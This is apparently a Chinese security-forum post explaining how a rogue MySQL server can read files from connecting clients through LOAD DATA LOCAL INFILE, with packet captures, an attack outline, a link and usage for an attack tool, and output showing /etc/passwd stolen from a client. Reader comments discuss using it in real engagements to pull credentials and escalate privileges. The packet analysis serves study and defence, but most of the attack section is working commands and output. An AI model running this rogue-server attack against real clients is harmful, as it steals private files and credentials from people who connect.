

漏洞分析

在mysql中可以通过load data local infile "/var/lib/mysql-files/test.txt" into table test命令，将本地文件上传至MySQL服务器，实际上，服务器可以直接发出请求来读取客户端文件，而不需要经过用户同意。

抓包分析

客户端发出命令请求

MySQL Protocol

Packet Length: 97  
Packet Number: 0  
Request Command Query  
Command: Query (3)  
Statement: load data local infile "/var/lib/mysql-files/test.txt" into table test FIELDS TERMINATED BY '\n'

|      |  |                   |
|------|--|-------------------|
| 0000 | 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00 | .....E            |
| 0010 | 00 8d 77 23 40 00 80 06 00 00 7f 00 00 01 7f 00    | ..w#@.....        |
| 0020 | 00 01 04 35 0c ea 7b be 57 fa 98 0a 41 36 50 18    | ...5...{. W...A6P |
| 0030 | 27 f2 39 2f 00 00 61 00 00 00 03 6c 6f 61 64 20    | ...9/..a...load   |
| 0040 | 64 61 74 61 20 6c 6f 63 61 6c 20 69 6e 66 69 6c    | data loc al infil |
| 0050 | 65 20 22 2f 76 61 72 2f 6c 69 62 2f 6d 79 73 71    | e "/var/ lib/mysq |
| 0060 | 6c 2d 66 69 6c 65 73 2f 74 65 73 74 2e 74 78 74    | l-files/ test.txt |
| 0070 | 22 20 69 6e 74 6f 20 74 61 62 6c 65 20 74 65 73    | " into t able tes |
| 0080 | 74 20 46 49 45 4c 44 53 20 54 45 52 4d 49 4e 41    | t FIELDS TERMINA  |
| 0090 | 54 45 44 20 42 59 20 27 5c 6e 27                   | TED BY '\n'       |



服务端发出读取文件请求

MySQL Protocol

Packet Length: 30  
Packet Number: 1  
Number of fields: 0  
Extra data: 47  
Payload: 7661722f6c69622fd7973716c2d66696c65732f74657374a...  
[Expert Info (Warning/Undecoded): FIXME - dissector is incomplete]  
[FIXME - dissector is incomplete]  
[Severity level: Warning]

|      |  |                   |
|------|--|-------------------|
| 0000 | 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00 | .....E            |
| 0010 | 00 4a 77 25 40 00 80 06 00 00 7f 00 00 01 7f 00    | ..w#@.....        |
| 0020 | 00 01 0c ea 04 35 98 0a 41 36 7b be 58 5f 50 18    | ...5... A6{.X.P   |
| 0030 | 27 f7 d8 ff 00 00 1e 00 00 01 fb 2f 76 61 72 2f    | '...../var/       |
| 0040 | 6c 69 62 2f 6d 79 73 71 6c 2d 66 69 6c 65 73 2f    | lib/mysq l-files/ |
| 0050 | 74 65 73 74 2e 74 78 74                            | test.txt          |



客户端发送文件

MySQL Protocol

Packet Length: 10  
Packet Number: 2  
Request Command Unknown (108)  
Command: Unknown (108)  
Payload: 6f61640a6c6f61640a  
[Expert Info (Warning/Protocol): Unknown/invalid command code]  
[Unknown/invalid command code]  
[Severity level: Warning]

|      |  |                    |
|------|--|--------------------|
| 0000 | 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00 | .....E             |
| 0010 | 00 3a 77 27 40 00 80 06 00 00 7f 00 00 01 7f 00    | ..w'@.....         |
| 0020 | 00 01 04 35 0c ea 7b be 58 5f 98 0a 41 58 50 18    | ...5...{. X_...AXP |
| 0030 | 27 f2 15 76 00 00 0a 00 00 02 6c 6f 61 64 0a 6c    | '..v.... ..load.l  |
| 0040 | 6f 61 64 0a 00 00 00 03                            | oad.....           |



若是服务端直接发出读取文件请求，客户端便会直接发送本地文件。

攻击思路

- 客户端连接服务器
- 服务器发送Greeting包，要求客户端提供密码

```
> Frame 25: 149 bytes on wire (1192 bits), 149 bytes captured (1192 bits) on interface 0
> Ethernet II, Src: 00:00:00_00:00:00 (00:00:00:00:00:00), Dst: 00:00:00_00:00:00 (00:00:00:00:00:00)
> Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1
> Transmission Control Protocol, Src Port: 3306, Dst Port: 1184, Seq: 1, Ack: 1, Len: 95
▼ MySQL Protocol
  Packet Length: 91
  Packet Number: 0
  ▼ Server Greeting
    Protocol: 10
    Version: 5.7.27-0ubuntu0.18.04.1
    Thread ID: 20
    Salt: }.y_z@;?
    > Server Capabilities: 0xf7ff
```

```
0000 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00 .....E.
0010 00 87 69 42 40 00 80 06 00 00 7f 00 00 01 7f 00 ..id@...
0020 00 01 0c ea 04 a0 99 3c 43 c7 24 31 e3 b8 50 18 .....< C.$1..P.
0030 27 f9 f0 4d 00 00 5b 00 00 00 0a 35 2e 37 2e 32 '...M...[...5.7.2
0040 37 2d 30 75 62 75 6e 74 75 30 2e 31 38 2e 30 34 7-0ubunt u0.18.04
0050 2e 31 00 14 00 00 00 7d 2e 79 5f 7a 04 3b 3f 00 .1.....}.y_z@;?
0060 ff f7 08 02 00 ff 81 15 00 00 00 00 00 00 00 00 .....
0070 00 00 51 44 21 3e 56 21 5e 01 2b 20 3c 4a 00 6d ..QD!>v! ^.+ <J.m
0080 79 73 71 6c 5f 6e 61 74 69 76 65 5f 70 61 73 73 ysql_nat ive_pass
0090 77 6f 72 64 00 word-
```

先知社区

#### 客户端发送登陆请求

```
> Frame 27: 241 bytes on wire (1928 bits), 241 bytes captured (1928 bits) on interface 0
> Ethernet II, Src: 00:00:00_00:00:00 (00:00:00:00:00:00), Dst: 00:00:00_00:00:00 (00:00:00:00:00:00)
> Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1
> Transmission Control Protocol, Src Port: 1184, Dst Port: 3306, Seq: 1, Ack: 96, Len: 187
▼ MySQL Protocol
  Packet Length: 183
  Packet Number: 1
  ▼ Login Request
    > Client Capabilities: 0xa685
    > Extended Client Capabilities: 0x01ff
    MAX Packet: 16777216
    Charset: utf8 COLLATE utf8_general_ci (33)
    Username: lcark
```

```
0000 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00 .....E.
0010 00 e3 69 44 40 00 80 06 00 00 7f 00 00 01 7f 00 ..id@...
0020 00 01 04 a0 0c ea 24 31 e3 b8 99 3c 44 26 50 18 .....$1 ...<D&P.
0030 27 f9 5c 79 00 00 b7 00 00 01 85 a6 ff 01 00 00 '.\y.....
0040 00 01 21 00 00 00 00 00 00 00 00 00 00 00 00 00 ..!.....
0050 00 00 00 00 00 00 00 00 00 00 6c 63 61 72 6b 00 .....lcark.
0060 14 99 f3 bd af 90 a7 a6 7f fd 5b 2c 7b e4 08 2e .....[,{..
0070 8f 18 5d bb aa 6d 79 73 71 6c 5f 6e 61 74 69 76 ..].mys ql_nativ
0080 65 5f 70 61 73 73 77 6f 72 64 00 65 03 5f 6f 73 e_passwo rd.e_os
0090 05 4c 69 6e 75 78 0c 5f 63 6c 69 65 6e 74 5f 6e .Linux._ client_n
00a0 61 6d 65 08 6c 69 62 6d 79 73 71 6c 04 5f 70 69 ame.libm ysql_pi
00b0 64 04 32 31 30 38 0f 5f 63 6c 69 65 6e 74 5f 76 d.2108._ client_v
00c0 65 72 73 69 6f 6e 06 35 2e 37 2e 32 37 09 5f 70 ersion.5 .7.27_p
00d0 6c 61 74 66 6f 72 6d 06 78 38 36 5f 36 34 0c 70 latform. x86 64.p
```

先知社区

#### 服务端直接发出ok，然后服务端直接发出读取文件请求

```
> Frame 40346: 70 bytes on wire (560 bits), 70 bytes captured (560 bits) on interface 0
> Ethernet II, Src: 00:00:00_00:00:00 (00:00:00:00:00:00), Dst: 00:00:00_00:00:00 (00:00:00:00:00:00)
> Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1
> Transmission Control Protocol, Src Port: 3306, Dst Port: 3027, Seq: 107, Ack: 225, Len: 16
▼ MySQL Protocol
  Packet Length: 12
  Packet Number: 1
  Number of fields: 0
  Extra data: 47
  ▼ Payload: 6574632f706173737764
    [Expert Info (Warning/Undecoded): FIXME - dissector is incomplete]
    [FIXME - dissector is incomplete]
    [Severity level: Warning]
```

```
0000 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00 .....E.
0010 00 38 f7 12 40 00 80 06 00 00 7f 00 00 01 7f 00 ..8..@...
0020 00 01 0c ea 0b d3 24 39 b6 83 9d cf fc de 50 18 .....$9 .....P.
0030 27 f8 d0 8b 00 00 0c 00 00 01 fb 2f 65 74 63 2f '.....etc/
0040 70 61 73 73 77 64 passwd
```

先知社区

客户端便会直接发送本地文件。

> Frame 40348: 1721 bytes on wire (13768 bits), 1721 bytes captured (13768 bits) on interface 0

> Ethernet II, Src: 00:00:00\_00:00:00 (00:00:00:00:00:00), Dst: 00:00:00\_00:00:00 (00:00:00:00:00:00)

> Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1

> Transmission Control Protocol, Src Port: 3027, Dst Port: 3306, Seq: 225, Ack: 123, Len: 1667

MySQL Protocol

Packet Length: 1659

Packet Number: 2

Request Command Unknown (114)

Command: Unknown (114)

Payload: 6f6f743a783a303a303a726f6f743a2f726f6f743a2f6269...

[Expert Info (Warning/Protocol): Unknown/invalid command code]

[Unknown/invalid command code]

[Severity level: Warning]

0000 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00 .....E.

0010 06 ab f7 14 40 00 80 06 00 00 7f 00 00 01 7f 00 ..M..@.....

0020 00 01 0b d3 0c ea 9d cf fc de 24 39 b6 93 50 18 .....\$9..P.

0030 27 f9 b0 ab 00 00 7b 06 00 02 72 6f 6f 74 3a 78 '...{...root:x

0040 3a 30 3a 30 3a 72 6f 6f 74 3a 2f 72 6f 6f 74 3a :0:0:root:/root:

0050 2f 62 69 6e 2f 62 61 73 68 0a 64 61 65 6d 6f 6e /bin/bash-daemon

0060 3a 78 3a 31 3a 31 3a 64 61 65 6d 6f 6e 3a 2f 75 :x:1:ld aemon:/u

0070 73 72 2f 73 62 69 6e 3a 2f 75 73 72 2f 73 62 69 sr/sbin:/usr/sbi

0080 6e 2f 6e 6f 6c 6f 67 69 6e 0a 62 69 6e 3a 78 3a n/nologin-bin:x:

0090 32 3a 32 3a 62 69 6e 3a 2f 62 69 6e 3a 2f 75 73 2:2:bin:/bin:/us

00a0 72 2f 73 62 69 6e 2f 6e 6f 6c 6f 67 69 6e 0a 73 r/sbin/nologin-s

攻击总览

40335 9884.965807 127.0.0.1 127.0.0.1 TCP 66 3027 → 3306 [SYN] Seq=0 Win=65535 Len=0 MSS=65495 WS=256 SACK\_PERM=1

40336 9884.965879 127.0.0.1 127.0.0.1 TCP 66 3306 → 3027 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=65495 WS=256 SACK\_PERM=1

40337 9884.965933 127.0.0.1 127.0.0.1 TCP 54 3027 → 3306 [ACK] Seq=1 Ack=1 Win=2619648 Len=0

40338 9884.967022 127.0.0.1 127.0.0.1 MySQL 149 Server Greeting proto=10 version=5.7.27-0ubuntu18.04.1

40339 9884.967049 127.0.0.1 127.0.0.1 TCP 54 3027 → 3306 [ACK] Seq=1 Ack=96 Win=2619648 Len=0

40340 9884.968199 127.0.0.1 127.0.0.1 MySQL 241 Login Request user=root

40341 9884.968242 127.0.0.1 127.0.0.1 TCP 54 3306 → 3027 [ACK] Seq=96 Ack=188 Win=2619392 Len=0

40342 9884.968302 127.0.0.1 127.0.0.1 MySQL 65 Response OK

40343 9884.968328 127.0.0.1 127.0.0.1 TCP 54 3027 → 3306 [ACK] Seq=188 Ack=107 Win=2619648 Len=0

40344 9884.968692 127.0.0.1 127.0.0.1 MySQL 91 Request Query

40345 9884.968724 127.0.0.1 127.0.0.1 TCP 54 3306 → 3027 [ACK] Seq=107 Ack=225 Win=2619392 Len=0

40346 9884.969963 127.0.0.1 127.0.0.1 MySQL 70 Response TABULAR

40347 9884.970200 127.0.0.1 127.0.0.1 TCP 54 3027 → 3306 [ACK] Seq=225 Ack=123 Win=2619648 Len=0

40348 9884.971388 127.0.0.1 127.0.0.1 MySQL 1721 Request[Malformed Packet]

登陆完成

获取文件请求

客户端发送文件

注意中间的query request是每次登陆成功的版本号查询，我们并未响应

Packet Length: 33

Packet Number: 0

Request Command Query

Command: Query (3)

Statement: select @@version\_comment limit 1

0000 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00 .....E.

0010 00 4d f7 10 40 00 80 06 00 00 7f 00 00 01 7f 00 ..M..@.....

0020 00 01 0b d3 0c ea 9d cf fc b9 24 39 b6 83 50 18 .....\$9..P.

0030 27 f9 6d fe 00 00 21 00 00 00 03 73 65 6c 65 63 '...m...!...selec

0040 74 20 40 40 76 65 72 73 69 6f 6e 5f 63 6f 6d 6d t @@vers ion\_comm

0050 65 6e 74 20 6c 69 6d 69 74 20 31 ent limi t 1

自动化工具

# installation

```
git clone https://github.com/lcark/MysqlClientAttack.git
```

## usage

```
usage: main.py [-h] [-l ADDR] [-p PORT] [-f FILE]
```

```
mysql client attack
```

```
optional arguments:
```

```
-h, --help  show this help message and exit  
-l ADDR     Specify ip for listen  
-p PORT     Specify local port for listen  
-f FILE     Specify file you want to read
```

详见 <https://github.com/lcark/MysqlClientAttack/>

## 利用过程

运行脚本，监听本地端口

```
PS E:\ctf\mysql> python3 .\main.py -l 127.0.0.1 -p 3306
```

客户端连接

```
♥~/ctf/cryptograph♥mysql -h 127.0.0.1 -u lcark -p
```

```
Enter password:
```

```
Welcome to the MySQL monitor.  Commands end with ; or \g.
```

```
Your MySQL connection id is 17
```

```
Server version: 5.7.27-0ubuntu0.18.04.1
```

```
Copyright (c) 2000, 2019, Oracle and/or its affiliates. All rights reserved.
```

```
Oracle is a registered trademark of Oracle Corporation and/or its  
affiliates. Other names may be trademarks of their respective  
owners.
```

```
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
```

```
mysql> |
```

一有连接，即可读取到客户端文件

```
PS E:\ctf\mysql> python3 .\main.py -i 127.0.0.1 -p 3306
*****
addr: ('127.0.0.1', 6014)
b'\x06\x00\x02root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/no
login\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:
4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:m
an:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:
8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nu
ucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nol
ogin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/bac
kups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc
:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (a
dmin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin
/nologin\nsystemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/
sbin/nologin\nsystemd-resolve:x:101:103:systemd Resolver,,,:/run'
*****
```

点击收藏 | 4 关注 | 1

[上一篇 : InCTF 2019 - \(PHP...](#) [下一篇 : WordPress WP-Stat...](#)

1. 3 条回复



[littleheary](#) 2019-10-08 18:29:31

大佬，这个东西在实战时候怎么用的？我们又监听不到mysql数据库服务器端，监听我们本地又不会有人连接我们，难道是通过蜜罐的方式获取他人连接？可是拿到的配

0 回复Ta



[chybeta](#) 2019-10-11 09:20:11

[@littleheary](#) 伪造一个假的mysql服务器。代码审计时填写的数据库配置信息，实战中的sql导入功能等等

0 回复Ta



[266960\\*\\*\\*\\*@qq.co](#) 2019-10-22 23:42:12

比如服务器找不到mysql的root用户密码，可以运行这个exp提取，然后提权

0 回复Ta

---

[登录](#) 后跟帖

[先知社区](#)

---

[现在登录](#)

[热门节点](#)

---

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)